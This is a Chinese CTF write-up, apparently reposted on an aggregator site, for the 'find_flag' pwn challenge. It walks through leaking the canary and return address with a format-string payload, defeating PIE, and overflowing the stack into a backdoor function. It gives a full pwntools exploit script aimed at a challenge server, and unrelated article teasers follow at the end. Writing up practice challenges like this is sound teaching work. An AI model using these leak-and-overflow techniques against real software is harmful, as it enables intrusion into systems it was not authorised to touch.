【PWN · ret2text 格式化字符串漏洞 | NX | Canary | PIE】[深育杯 2021]find_flag

news2024/11/28 13:33:40

这一题最终的攻击手段可以是简单的ret2text(后门函数给出),然而保护全开则确实让人汗颜。。。

更重要的是!docker的程序偏移和本地不一样!!NSSCTF题目有问题!!

目录

前言

一、题目分析

二、攻击过程

1.格式化字符串漏洞泄露栈上内容——Canry & base_addr

1.1确定参数位置 

1.2确定并泄露Canary/base_addr的位置 

2.PIE处理绕过

2.1return_addr相对偏移量

2.2base_addr真实地址 

2.3ret2text的真实地址 

三、EXP

四、蒟蒻遇到的问题 

总结 


前言

Canary、PIE开启,如何进行绕过呢?

PIE——寻找真实地址作为“锚点”:【PWN · ret2text | PIE 】[NISACTF 2022]ezpie_Mr_Fmnwon的博客-CSDN博客

Canary——泄露内容后填充绕过:【PWN · ret2libc | Canary】[2021 鹤城杯]littleof_Mr_Fmnwon的博客-CSDN博客

而本题也无外乎这两个要点,然而还是让本蒟蒻感到头疼QAQ

(一点睡,六点半起,一整个学期伤身体,ICU里喝小米)


一、题目分析

main函数里找到漏洞函数,改名为vuln()便于记忆

两个gets都是往format里面输入,然而反汇编没体现,这是为什么呢?求解答。 

ok,一眼栈溢出漏洞

format,一眼格式化字符串漏洞

基本思路是否有了呢?始终牢记我们需要什么:

  1. 知道Canary的值
  2. 知道一个真实地址,并知道这个地址相对于程序首地址的偏移量——vuln()的return地址就满足要求

格式化字符串漏洞可以进行泄露/覆写/破坏程序,我们所需要的两个信息都在栈上,所以通过格式化字符串漏洞泄露栈上内容,即可获取Canry以及真实地址。

 

同时也可以找到后门函数(名字我进行了修改),只要栈溢出成功,我们就可以执行这个后门函数,获取flag 


二、攻击过程

1.格式化字符串漏洞泄露栈上内容——Canry & base_addr

好的,知道要泄露,但怎么泄露呢??

——换句话说,Canary以及base_addr是第几个参数呢?

1.1确定参数位置 

与32位程序参数存在栈上相比,64位程序的前六个参数存在寄存器中。也就是说,栈上的第一个“数据单元”存放第七个参数,第二个对应第八个......知道要泄露的内容在栈上是第几个“数据单元”就可以确认参数的序号了。

这里的“数据单元”,指的就是字,而64位计算机的字长是64位,即8个字节。

1.2确定并泄露Canary/base_addr的位置 

可以看到,Canary被存在了ebp的前一个字(8个字节),栈底从format开始,所以从栈底到Canary有(0x60-0x8)/8个字,即第11个字,算上6个参数在寄存器中,Canary会被默认当作第11+6=17个参数。

同理,return_addr被放在ebp后面,是第17+2=19个参数。

payload1=b"qaq%17$paaaaaa%19$pbbbbbbb"

2.PIE处理绕过

获得Canary后,栈溢出时原封不动地填充canary即可绕过。现在我们来处理PIE

地址随机了,所以找锚点,这是最基本的思路。

现在我们得到了真实地址base_addr,或者说return_addr,通过真实地址减去其相对于程序首地址的偏移量,再加上任意程序段的偏移量,即可获得程序段的真实地址。简单的加减法。

2.1return_addr相对偏移量

执行完vuln,自然要返回到调用的下一条指令。

相对偏移量为0x146f 

2.2base_addr真实地址 

显然是返回地址的真实地址-返回地址的相对偏移量 

2.3ret2text的真实地址 

显然是程序首地址+相对偏移量 

我选择跳到0x1228


三、EXP

'''
开启了PIE保护,存在canary保护,存在“后门函数”
---
泄露基址,泄露canary,再return到后门函数处
---
格式化字符串漏洞泄露两者,栈溢出控制return
'''
from pwn import *
from pwn import p64,u64

# io=process("./find_flag")
io=remote("node4.anna.nssctf.cn",28820)
context(arch="amd64",os="linux",log_level="debug")
backdoor=0x1228
ret_bias=0x146f

'''
format 字符串距离ebp 0x60 即 96
canary 距离ebp 8
64位程序 8字节一个字
栈底 距离canary (96-8)=11*8, 即canary是栈上的第11个参数
而64位程序,参数前6个先从栈上取,所以canary算是第6+11个参数,real_ret_addr是第19个
%17$p可泄露canary,%19$p可泄露real_ret_addr
'''
io.recvuntil(b'name?')

payload1=b"qaq%17$paaaaaa%19$pbbbbbbb"
io.sendline(payload1)

#接收的艺术:经常用到,但是emmm解码什么的很恶心(对我萌新来说)
io.recvuntil(b'qaq')
canary=int(io.recvuntil(b'aaaaaa')[:-6],16)    
print("Canary:",hex(canary))
real_ret_addr=int(io.recvuntil(b'bbbbbb')[:-6],16)
print("Real ret addr:",hex(real_ret_addr))

payload2=b'a'*(0x38)     #坑人!不是0x60-8,不知道为什么QAQ,而且很不理解:第17/19个参数的序号没变
payload2+=p64(canary)    #绕过canary
payload2+=b'a'*8         #填充ebp
payload2+=p64(real_ret_addr-ret_bias+backdoor)    #真实地址

io.sendline(payload2)
io.interactive()    #显然这是多余的,不需要交互/狗头

四、蒟蒻遇到的问题 

蒟蒻习惯打c++,python虽然大学计算机基础学过但是忘得七七八八。对于接收回显信息并转换为地址,总是出错:

  1. 如何切片?
  2. 什么时候int(......,16)什么时候u64/u32转码?

 本次做题也头痛不已,好在略有心得:

  1. 显然要对切片规则熟悉,不熟悉的可以现查(like me);此外,对于程序的显示信息,可以通过recv(num)、recvuntil(str)、sendlineafter(str,payload)来严格控制IO。本题,泄露Canary和real_ret_addr时,我构造"qaq%17$paaaaaa%19$pbbbbbbb",接收到"qaq”停止,因为接下来就是地址了,然后接收到"aaaaaa"停止,这样Canary的值就是开头到从右往左数第7个,根据切片规则就是[:-6],因为右往左第六个不算;同理,接收reak_ret_addr也是这样控制的。
  2. 原本以为,只要来数据,转化为数,都是u64/u32来解包,此题总是报错。原来,形如"\x23\x53\x63.....\x12\x00"这种byte数据,才可以用u64/u32解包,而且注意8字节/4字节对齐。本题因为是以字符串的形式发过来的,收到的信息(例如)是"0x1122334455667788",是16进制那么就用int(str,16)来转成数字。

总结

本题是遇到的第一道保护全开的题目,各种保护让人头大,对各种漏洞的综合利用也有更高的要求,加油!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/626680.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

openEuler22+GreatSQL+dbops玩转MGR

芬达,《芬达的数据库学习笔记》公众号作者,开源爱好者,擅长 MySQL、ansible。 背景 openEuler 是什么 openEuler22.03 LTS 是 openEuler 社区于 2022 年 3 月发布的开源操作系统(从系统版本的命名不难发现吧)。openE…

apktool for mac

安装步骤 1、Apktool下载 安装apktool Apktool下载 macOS: Download Mac wrapper script (Right click, Save Link As apktool)Download apktool-2 (find newest here)Rename downloaded jar to apktool.jarMove both files (apktool.jar & apktool) to /usr/local/bin …

sqoop系列:sqoop(离线数据同步)开发案例

目录 Apache Hadoop生态-目录汇总-持续更新 1:Mysql(RDBMS)与Hive/HDFS数据传输 1.1:列出MySQL数据有哪些数据库: 1.2:根据mysql表结构创建hive表 1.3: RDBMS导入到hdfs (1)条件导入 (2&…

cisp证书含金量如何网络安全渗透测试工程师主要工作是什么?前景如何?

sp,国家注册信息安全专业工作员,由中国信息安全测评中心认证,作为我国目前网络安全认证之一!cisp属于国家测评中心授予,目前遭到企业认可。 CISP在大部分网络安全行业变成了应聘求职的必考的证书。在信息安全行业&…

CentOS 7安装 Postgres

零、前置条件 系统CentOS 7,并已联网,已安装gcc或者g编译器,GNU make版本3.80或以上,系统有至少一个除root之外的普通用户user gcc安装-参考链接查看make命令的版本——make --version更新make版本-参考链接postgresql的使用一般…

年薪百万的高性能计算工程师很难学吗?听OpenBLAS创始人怎么说 ..

想要成为一名高性能计算工程师,入门并掌握相关基础并不困难。 关键在于兴趣和自驱力,因为这是一个偏向底层开发的领域,需要扎实的C和C编程基础。 另外,数学能力也很重要,因为算法开发涉及一些基础的数学知识。对于大部…

【支付平台】java springboot 通过ip获取所在地城市信息

如果只是想知道如何通过ip获取所在地城市信息,可直接看第三步. 如果搭建自己的支付平台,异地支付限制是必不可少的一环.因为市面上一些非法份子,会使用我们平台生成的付款码进行欺诈行为.这也是我们必须杜绝的一种现象.因此限制异地支付就是其中一种手段. 在上一篇文章【三方支…

Golang context 实现原理与源码解读

0 context入门介绍 context是Golang应用开发常用的并发控制技术,主要在异步场景中用于实现并发协调以及对 goroutine 的生命周期控制,它与WaitGroup最大的不同点是context对于派生goroutine有更强的控制力,它可以控制多级的goroutine。 con…

【Android】WMS(一)Window的类型和标志

Window、WindowManager、WMS区别 Window: Window 是 Android 中的一个视图容器,代表整个屏幕或 Activity 的一部分。每个 Window 都有自己的 Surface 对象,Surface 对象具有绘制和渲染功能,可以显示 View 和其他元素。在 Android…

Vue 的基础知识 - 判断, 循环, 事件, 通信

目录 1. 了解 Vue 七大常用属性 2. 文本插值 2.1 v-bind 绑定元素 3. 判断 4. 循环 5. 事件 6. 双向绑定 7. 自定义组件 8. Axios 异步通信 8.1 什么是Axios 8.2 为什么要使用 Axios 8.3 Axios 的简单应用 8.4 Vue 的生命周期 1. 了解 Vue 七大常用属性 1. el 属性…

Qt扫盲-Bar柱状图理论

Bar柱状图理论 一、QAbstractBarSeries1. 常用设置2. 管理 BarSet 二、QBarSerie 和 QHorizontalBarSeries1. 垂直柱状图2. 水平柱状图 二、QPercentBarSeries 和 QHorizontalPercentBarSeries1. 垂直比例图2. 水平比例图 三、QStackedBarSeries 和 QHorizontalStackedBarSerie…

忠诚之源:如何获得铁粉?

文章目录 一、铁粉二、如何吸引和留住铁粉的想法2.1 了解你的目标铁粉2.2 提供有价值的内容2.3 建立良好的关系2.4 持续优化和创新 三、具体可采用的一些方法3.1 提供优质内容3.2 社交媒体互动3.3 创建独特的品牌形象3.4 提供特殊待遇和奖励3.5 参与社区和活动3.6 持续互动和更…

如何把视频语音转换成文字,分享给大家几个免费的方法!

在日常工作和学习中,有时需要将视频中的语音转录为文字,以便整理成文稿或进行其他用途。手动打字效率低下且耗时费力,那么如何快速将语音转换为文字呢?下面介绍几种简单高效的方法,其中之一是使用记灵在线工具。 方法…

PHP的流程控制语句

一.流程控制语句 1.if语句 PHP的if语句格式如下 if(表达式) 语句; 如果表达式的值为真,那么久顺序执行语句;否则,就会跳过该条语句,再往下执行。如果要执行的语句不指一条则用{},{}被称为语句组,格式如…

Immer编写简洁的更新state逻辑

react官网推荐库use-immer:https://www.npmjs.com/package/use-immer 引入:import { useImmer } from "use-immer"; 优点: 简化代码: 只需要关注需要变动的部分,而 immer 本身将在后台处理其余部分。学习成本和替换代…

双碳目标下DNDC模型建模方法及在土壤碳储量、温室气体排放、农田减排、土地变化、气候变化中的实践应用

查看原文>>>双碳目标下DNDC模型建模方法及在土壤碳储量、温室气体排放、农田减排、土地变化、气候变化中的实践应用 目录 第一讲、DNDC模型介绍 第二讲、DNDC初步操作 第三讲、遥感和GIS基础 第四讲、DNDC气象数据 第五讲、DNDC土地数据 第六讲、DNDC土壤数据 …

【C语言】算法学习·Dijkstra算法详解

目录 Dijkstra算法设计 Dijkstra算法简介 Dijkstra算法的基本思想 Dijkstra贪心策略 完美图解 伪代码详解 完整代码 算法解析及优化拓展 ​使用优先队列的完整代码 Dijkstra算法设计 Dijkstra算法简介 Dijkstra算法是解决**单源最短路径**问题的**贪心算法** …

2021年国赛高教杯数学建模C题生产企业原材料的订购与运输解题全过程文档及程序

2021年国赛高教杯数学建模 C题 生产企业原材料的订购与运输 原题再现 某建筑和装饰板材的生产企业所用原材料主要是木质纤维和其他植物素纤维材料,总体可分为 A,B,C 三种类型。该企业每年按 48 周安排生产,需要提前制定 24 周的原材料订购和…

如何在 javascript 中按属性值查找数组中的对象

文章目录 使用 find() 方法按属性值在数组中查找对象使用 filter() 方法按属性值查找数组中的对象使用 JavaScript for 循环按属性值查找数组中的对象使用 JavaScript for...in 循环按属性值查找数组中的对象 数组指的是值的有序列表,每个值称为由索引指定的元素。 …

这所西安的985专硕爆冷,保护一志愿,过线即上岸!

本期为大家整理热门院校“西北工业大学”的择校分析,这个择校分析专题会为大家结合:初试复试占比、复试录取规则(是否公平)、往年录取录取名单、招生人数、分数线、专业课难度等进行分析。希望能够帮到大家! –所有数据来源于研招…